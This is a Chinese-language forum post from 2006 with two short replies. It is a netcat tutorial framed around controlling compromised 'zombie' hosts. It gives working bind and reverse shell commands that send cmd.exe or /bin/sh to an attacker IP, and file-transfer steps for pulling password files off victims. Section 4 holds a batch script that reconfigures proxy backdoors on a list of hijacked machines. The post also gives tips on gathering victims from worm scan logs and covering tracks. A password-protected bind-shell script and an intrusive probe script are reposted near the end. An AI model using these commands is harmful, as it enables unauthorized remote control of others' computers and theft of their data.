查看完整版本: NC教程

weiaili999 2006-5-20 07:23

NC教程

<span class="tpc_content"><font size="2">0. 写在前面的话<br/>1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息<br/>2. Netcat 1.10 for NT 帮助信息<br/>3. Netcat 1.10 常用的命令格式<br/>4. 管理肉鸡,更改肉鸡设置<br/>5. 下载连接<br/>6. 后记<br/><br/>######################################################################<br/>0. 写在前面的话<br/>######################################################################<br/>最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。<br/>自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂,<br/>但是借助于金山词霸2002版本, 还是明白了一点东西.<br/>我觉的有必要再总结一下.反正主要是满足我自己的需要.<br/><br/>######################################################################<br/>1. Netcat 1.10 for NT - nc11nt.zip<br/>######################################################################<br/>Basic Features<br/><br/>* Outbound or inbound connections, TCP or UDP, to or from any ports<br/>* Full DNS forward/reverse checking, with appropriate warnings<br/>* Ability to use any local source port<br/>* Ability to use any locally-configured network source address<br/>* Built-in port-scanning capabilities, with randomizer<br/>* Can read command line arguments from standard inputb<br/>* Slow-send mode, one line every N seconds<br/>* Hex dump of transmitted and received data<br/>* Ability to let another program service established<br/>connections<br/>* Telnet-options responder<br/><br/>New for NT<br/><br/>* Ability to run in the background without a console window<br/>* Ability to restart as a single-threaded server to handle a new<br/>connection<br/>________________________________________________________________________<br/>Some of the features of netcat are: <br/><br/>Outbound or inbound connections, TCP or UDP, to or from any ports <br/>Full DNS forward/reverse checking, with appropriate warnings <br/>Ability to use any local source port <br/>Ability to use any locally-configured network source address <br/>Built-in port-scanning capabilities, with randomizer <br/>Built-in loose source-routing capability <br/>Can read command line arguments from standard input <br/>Slow-send mode, one line every N seconds <br/>Optional ability to let another program service inbound connections <br/><br/>Some of the potential uses of netcat: <br/><br/>Script backends <br/>Scanning ports and inventorying services <br/>Backup handlers <br/>File transfers <br/>Server testing and simulation <br/>Firewall testing <br/>Proxy gatewaying <br/>Network performance testing <br/>Address spoofing tests <br/>Protecting X servers <br/>1001 other uses you`ll likely come up with <br/><br/>Netcat + Encryption = Cryptcat<br/><br/>对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.<br/>1.1 NC.EXE是一个非标准的telnet客户端程序,<br/>1.2 还有一个putty.exe客户端程序,提供四种连接模式<br/>-raw -telnet -rlogin -ssh.<br/><br/>######################################################################<br/>2. Netcat 1.10 for NT 帮助信息<br/>######################################################################<br/>C:\WINDOWS\Desktop&gt;nc -h<br/>[v1.10 NT]<br/>connect to somewhere: nc [-options] hostname port[s] [ports] ...<br/>listen for inbound: nc -l -p port [options] [hostname] [port]<br/>options:<br/>-d detach from console, background mode (后台模式)<br/>-e prog inbound program to exec [dangerous!!]<br/>-g gateway source-routing hop point[s], up to 8<br/>-G num source-routing pointer: 4, 8, 12, ...<br/>-h this cruft (本帮助信息)<br/>-i secs delay interval for lines sent, ports scanned (延迟时间)<br/>-l listen mode, for inbound connects (监听模式,等待连接)<br/>-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)<br/>-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)<br/>-o file hex dump of traffic (十六进制模式输出文件,三段) <br/>-p port local port number (本地端口)<br/>-r randomize local and remote ports (随机本地远程端口)<br/>-s addr local source address (本地源地址)<br/>-t answer TELNET negotiation<br/>-u UDP mode<br/>-v verbose [use twice to be more verbose] (-vv 更多信息)<br/>-w secs timeout for connects and final net reads<br/>-z zero-I/O mode [used for scanning] (扫描模式,-vv)<br/>port numbers can be individual or ranges: m-n [inclusive]<br/><br/>######################################################################<br/>3. Netcat 1.10 常用的命令格式<br/>######################################################################<br/>下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。<br/><br/>3.1.端口的刺探:<br/>nc -vv ip port<br/>RIVER [192.168.0.198] 19190 (?) open //显示是否开放open<br/>3.2.扫描器<br/>nc -vv -w 5 ip port-port port<br/>nc -vv -z ip port-port port<br/>这样扫描会留下大量的痕迹,系统管理员会额外小心<br/><br/>3.3. 后门<br/>victim machine: //受害者的机器<br/>nc -l -p port -e cmd.exe //win2000<br/>nc -l -p port -e /bin/sh //unix,linux<br/>attacker machine: //攻击者的机器.<br/>nc ip -p port //连接victim_IP,然后得到一个shell。<br/><br/><br/>3.4.反向连接<br/>attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.<br/>//或者wollf的反向连接.<br/>nc -vv -l -p port <br/>victim machine:<br/>nc -e cmd.exe attacker ip -p port<br/>nc -e /bin/sh attacker ip -p port<br/><br/>或者:<br/>attacker machine:<br/>nc -vv -l -p port1 /*用于输入*/<br/>nc -vv -l -p prot2 /*用于显示*/<br/>victim machine:<br/>nc attacker_ip port1 | cmd.exe | nc attacker_ip port2<br/>nc attacker_ip port1 | /bin/sh | nc attacker_ip port2<br/><br/>139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)<br/>这样就可以保证nc.exe优先于NETBIOS。 <br/><br/><br/>3.5.传送文件:<br/>3.5.1 attacker machine &lt;-- victim machine //从肉鸡拖密码文件回来.<br/>nc -d -l -p port &lt; path\filedest     /*attacker machine*/ 可以shell执行<br/>nc -vv attacker_ip port &gt; path\file.txt /*victim machine*/ 需要Ctrl+C退出<br/>//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.<br/><br/>3.5.2 attacker machine --&gt; victim machine //上传命令文件到肉鸡<br/>nc -vv -l -p port &gt; path\file.txt      /*victim machine*/ 需要Ctrl+C退出<br/>nc -d victim_ip port &lt; path\filedest   /*attacker machine*/ 可以shell执行<br/>//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.<br/><br/>结论: 可以传输ascii,bin文件.可以传输程序文件.<br/><br/>问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .<br/>或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?<br/><br/><br/>3.6 端口数据抓包.<br/>nc -vv -w 2 -o test.txt </font><a href="http://www.xfocus.net/" target="_blank"><font size="2">www.xfocus.net</font></a><font size="2"> 80 21-15<br/><br/>&lt; 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error<br/>&lt; 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr<br/>&lt; 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...<br/>&lt; 00000084 83 00 00 01 8f # .....<br/><br/><br/>3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.<br/>nc victim_ip port &lt; path\file.cmd   /*victim machine*/ 显示执行过程.<br/>nc -vv victim_ip port &lt; path\file.cmd   /*victim machine*/ 显示执行过程.<br/><br/>nc -d victim_ip port &lt; path\file.cmd 安静模式.<br/><br/>_______________file.cmd________________________<br/>password<br/>cd %windir%<br/>echo []=[%windir%]<br/>c:<br/>cd \<br/>md test<br/>cd /d %windir%\system32\<br/>net stop sksockserver<br/>snake.exe -config port 11111<br/>net start sksockserver<br/>exit<br/>_______________file.cmd__END___________________<br/><br/>######################################################################<br/>4. 管理肉鸡,更改肉鸡设置<br/>######################################################################<br/>4.1 比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称"sksockserver"<br/>使用winshell后门. 端口1234 密码password<br/>命令格式就是<br/>modi.bat youip.txt<br/><br/>___________modi.bat____________________________<br/>@if "%1"=="" echo Error: no ip.txt &amp;&amp;goto END<br/><br/>:start<br/>@echo password &gt;a.cmd<br/>@echo s &gt;&gt;a.cmd<br/>@echo cd /d %%windir%%\system32\ &gt;&gt;a.cmd<br/>@net stop "sksockserver" &gt;&gt;a.cmd<br/>@snake.exe -config port 11111 &gt;&gt;a.cmd<br/>@net start "sksockserver" &gt;&gt;a.cmd<br/>@exit &gt;&gt;a.cmd<br/><br/>:auto<br/>@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 &lt; a.cmd)<br/><br/>:END<br/>___________modi.bat__END_______________________<br/><br/><br/>4.2<br/><br/>@echo off<br/>color f0<br/>:start<br/>cls<br/>C:\nc -vv -w 3 -l -p 80&gt;&gt;80.txt<br/>goto start<br/>把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多<br/>是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.<br/>但是也是一种便宜的办法.<br/><br/>肉鸡特征:<br/>1。unicode漏洞<br/>2。guest密码为空,administrators组用户<br/>3。其他漏洞<br/><br/>自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器<br/><br/>######################################################################<br/>5. 下载连接<br/>######################################################################<br/>5.1 </font><a href="http://www.atstake.com/research/tools/network_utilities/" target="_blank"><font size="2">http://www.atstake.com/research/tools/network_utilities/</font></a><br/><font size="2">Tool: Netcat 1.10 for Unix <br/>Version: 03.20.96 <br/>Platforms: *nix<br/><br/>Tool: Netcat 1.1 for Win 95/98/NT/2000 <br/>Version: 02.08.98 <br/>Platforms: Runs on Win 95/98/NT/2000 <br/><br/><br/>5.2 </font><a href="http://www.xfocus.net/download.php?id=320" target="_blank"><font size="2">http://www.xfocus.net/download.php?id=320</font></a><font size="2">
                        <br/>名称: cryptcat_nt.zip 更新时间: 2002-04-05 <br/>类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw <br/>简介: 加密传输的nc。 <br/><br/>5.3 </font><a href="http://content.443.ch/pub/security/blackhat/Networking/nc/" target="_blank"><font size="2">http://content.443.ch/pub/security/blackhat/Networking/nc/</font></a><font size="2"> 国外的网站<br/>10.03.02 15:48 1305 cryptcat.txt<br/>10.03.02 15:48 245760 cryptcat_linux2.tar<br/>10.03.02 15:48 118533 cryptcat_nt.zip<br/><br/><br/>######################################################################<br/>6. 补充<br/>######################################################################<br/>以下为NetCat的Unix版本使用方法(转载):<br/>--------------------------------------<br/>nc使用技巧<br/><br/>by quack&lt;</font><a href="mailto:quack@21cn.com"><font size="2">quack@21cn.com</font></a><font size="2">&gt;<br/></font><a href="http://www.xfocus.org/" target="_blank"><font size="2">http://www.xfocus.org</font></a><font size="2"> 安全焦点<br/><br/>nc这个小玩意儿应该大家耳熟能详,也用了N年了吧……这里不多讲废话,结合一些script说说它的使用技巧。<br/>(文中所举的script都来自于nc110.tgz的文件包)<br/><br/>一、基本使用<br/><br/>Quack# nc -h<br/>[v1.10]<br/>想要连接到某处: nc [-options] hostname port[s] [ports] ...<br/>绑定端口等待连接: nc -l -p port [-options] [hostname] [port]<br/>参数:<br/>-e prog 程序重定向,一旦连接,就执行 [危险!!]<br/>-g gateway source-routing hop point[s], up to 8<br/>-G num source-routing pointer: 4, 8, 12, ...<br/>-h 帮助信息<br/>-i secs 延时的间隔<br/>-l 监听模式,用于入站连接<br/>-n 指定数字的IP地址,不能用hostname<br/>-o file 记录16进制的传输<br/>-p port 本地端口号<br/>-r 任意指定本地及远程端口<br/>-s addr 本地源地址<br/>-u UDP模式<br/>-v 详细输出——用两个-v可得到更详细的内容<br/>-w secs timeout的时间<br/>-z 将输入输出关掉——用于扫描时<br/><br/>其中端口号可以指定一个或者用lo-hi式的指定范围。<br/><br/>二、用于传输文件——ncp<br/><br/>#! /bin/sh<br/>## 类似于rcp,但是是用netcat在高端口做的<br/>## 在接收文件的机器上做"ncp targetfile"<br/>## 在发送文件的机器上做"ncp sourcefile receivinghost"<br/>## 如果调用了 "nzp" ,会将传输文件压缩<br/><br/>## 这里定义你想使用的端口,可以自由选择<br/>MYPORT=23456<br/><br/>## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改<br/># PATH=${HOME}:${PATH} export PATH<br/><br/>## 下面这几行检查参数输入情况<br/>test "$3" &amp;&amp; echo "too many args" &amp;&amp; exit 1<br/>test ! "$1" &amp;&amp; echo "no args?" &amp;&amp; exit 1<br/>me=`echo $0 | sed 's+.*/++'`<br/>test "$me" = "nzp" &amp;&amp; echo '[compressed mode]'<br/><br/># if second arg, it's a host to send an [extant] file to.<br/>if test "$2" then<br/>test ! -f "$1" &amp;&amp; echo "can't find $1" &amp;&amp; exit 1<br/>if test "$me" = "nzp" then<br/>compress -c &lt; "$1" | nc -v -w 2 $2 $MYPORT &amp;&amp; exit 0<br/>else<br/>nc -v -w 2 $2 $MYPORT &lt; "$1" &amp;&amp; exit 0<br/>fi<br/>echo "transfer FAILED!"<br/>exit 1<br/>fi<br/><br/># 是否在接收文件机器当前目录有同名文件<br/>if test -f "$1" then<br/>echo -n "Overwrite $1? "<br/>read aa<br/>test ! "$aa" = "y" &amp;&amp; echo "[punted!]" &amp;&amp; exit 1<br/>fi<br/># 30 seconds oughta be pleeeeenty of time, but change if you want.<br/>if test "$me" = "nzp" then<br/># 注意这里nc的用法,结合了重定向符号和管道<br/>nc -v -w 30 -p $MYPORT -l &lt; /dev/null | uncompress -c &gt; "$1" &amp;&amp; exit 0<br/>else<br/>nc -v -w 30 -p $MYPORT -l &lt; /dev/null &gt; "$1" &amp;&amp; exit 0<br/>fi<br/>echo "transfer FAILED!"<br/># clean up, since even if the transfer failed, $1 is already trashed<br/>rm -f "$1"<br/>exit 1<br/><br/>这样的话,我只要在A机器上先 QuackA# ncp ../abcd<br/>listening on [any] 23456 ...<br/>然后在另一台机器B上<br/>QuackB#ncp abcd 192.168.0.2<br/>quackb [192.168.0.1] 23456 (?)<br/>A机上出现<br/>open connect to [192.168.0.2] from quackb [192.168.0.1] 1027<br/>#<br/>查看一下,文件传输完毕。<br/><br/>三、用于绑定端口——bsh<br/><br/>首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工<br/>具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。<br/><br/>#! /bin/sh<br/>## 一个利用nc的绑定shell并且带有密码保护的脚本<br/>## 带有一个参数,即端口号<br/><br/>NC=nc<br/><br/>case "$1" in<br/>?* )<br/>LPN="$1"<br/>export LPN<br/>sleep 1<br/>#注意这里nc的用法,参数-l是lister,-e是执行重定向<br/>echo "-l -p $LPN -e $0" $NC -l -p $LPN -e $0 &gt; /dev/null 2&gt;&amp;1 &amp;<br/>echo "launched on port $LPN"<br/>exit 0<br/>;;<br/>esac<br/><br/># here we play inetd<br/>echo "-l -p $LPN -e $0" $NC -l -p $LPN -e $0 &gt; /dev/null 2&gt;&amp;1 &amp;<br/><br/>while read qq do<br/>case "$qq" in<br/># 这里就是弱密码保护了,密码是quack<br/>quack )<br/>cd /<br/>exec csh -i<br/>;;<br/>esac<br/>done<br/><br/>要看看它是怎么使用的么?<br/>quack# ./bsh 6666 &lt;-------输入,后面是程序输出<br/>-l -p 6666 -e ./bsh<br/>launched on port 6666<br/>quack#<br/>quack## nc localhost 6666 &lt;----------输入<br/>-l -p 6666 -e ./bsh<br/>quack &lt;----------输入,密码验证<br/>Warning: imported path contains relative components<br/>Warning: no access to tty (Bad file descriptor).<br/>Thus no job control in this shell.<br/>Cracker#<br/><br/>四、 用于端口扫描——probe<br/><br/>在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都<br/>需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。<br/><br/>#! /bin/sh<br/>## launch a whole buncha shit at yon victim in no particular order; capture<br/>## stderr+stdout in one place. Run as root for rservice and low -p to work.<br/>## Fairly thorough example of using netcat to collect a lot of host info.<br/>## Will set off every intrusion alarm in existence on a paranoid machine!<br/><br/># 该目录里有一些小工具<br/>DDIR=../data<br/># 指定网关<br/>GATE=192.157.69.11<br/><br/># might conceivably wanna change this for different run styles<br/>UCMD='nc -v -w 8'<br/><br/>test ! "$1" &amp;&amp; echo Needs victim arg &amp;&amp; exit 1<br/><br/>echo '' | $UCMD -w 9 -r "$1" 13 79 6667 2&gt;&amp;1<br/>echo '0' | $UCMD "$1" 79 2&gt;&amp;1<br/># if LSRR was passed thru, should get refusal here:<br/># 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情<br/>$UCMD -z -r -g $GATE "$1" 6473 2&gt;&amp;1<br/>$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2&gt;&amp;1<br/># -s `hostname` may be wrong for some multihomed machines<br/>echo 'UDP echoecho!' | nc -u -p 7 -s `hostname` -w 3 "$1" 7 19 2&gt;&amp;1<br/>echo '113,10158' | $UCMD -p 10158 "$1" 113 2&gt;&amp;1<br/>rservice bin bin | $UCMD -p 1019 "$1" shell 2&gt;&amp;1<br/>echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2&gt;&amp;1<br/># newline after any telnet trash<br/>echo ''<br/>echo PASV | $UCMD -r "$1" 21 2&gt;&amp;1<br/>echo 'GET /' | $UCMD -w 10 "$1" 80 81 210 70 2&gt;&amp;1<br/># sometimes contains useful directory info:<br/># 知道robots.txt是什么文件么?;)<br/>echo 'GET /robots.txt' | $UCMD -w 10 "$1" 80 2&gt;&amp;1<br/># now the big red lights go on<br/># 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到<br/>rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2&gt;&amp;1<br/>rservice root root | $UCMD -r "$1" exec 2&gt;&amp;1<br/>echo 'BEGIN big udp -- everything may look "open" if packet-filtered'<br/>data -g &lt; ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2&gt;&amp;1<br/># no wait-time, uses RTT hack<br/>nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2&gt;&amp;1<br/>nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2&gt;&amp;1<br/>echo 'END big udp'<br/>$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2&gt;&amp;1<br/># Use our identd-sniffer!<br/>iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2&gt;&amp;1<br/># this gets pretty intrusive, but what the fuck. Probe for portmap first<br/>if nc -w 5 -z -u "$1" 111 then<br/>showmount -e "$1" 2&gt;&amp;1 #象showmount和rpcinfo的使用,可能会被逮到;)<br/>rpcinfo -p "$1" 2&gt;&amp;1<br/>fi<br/>exit 0<br/><br/>感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,<br/>这样扫描会留下大量的痕迹,系统管理员会额外小心;)<br/><br/>多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那<br/>些脚本,从中获得一些思路。</font></span><br/>

猪猪 2007-1-27 21:34

非常经典的 NC.支持!

路边要饭的 2008-5-4 12:48

收藏。
页: [1]
查看完整版本: NC教程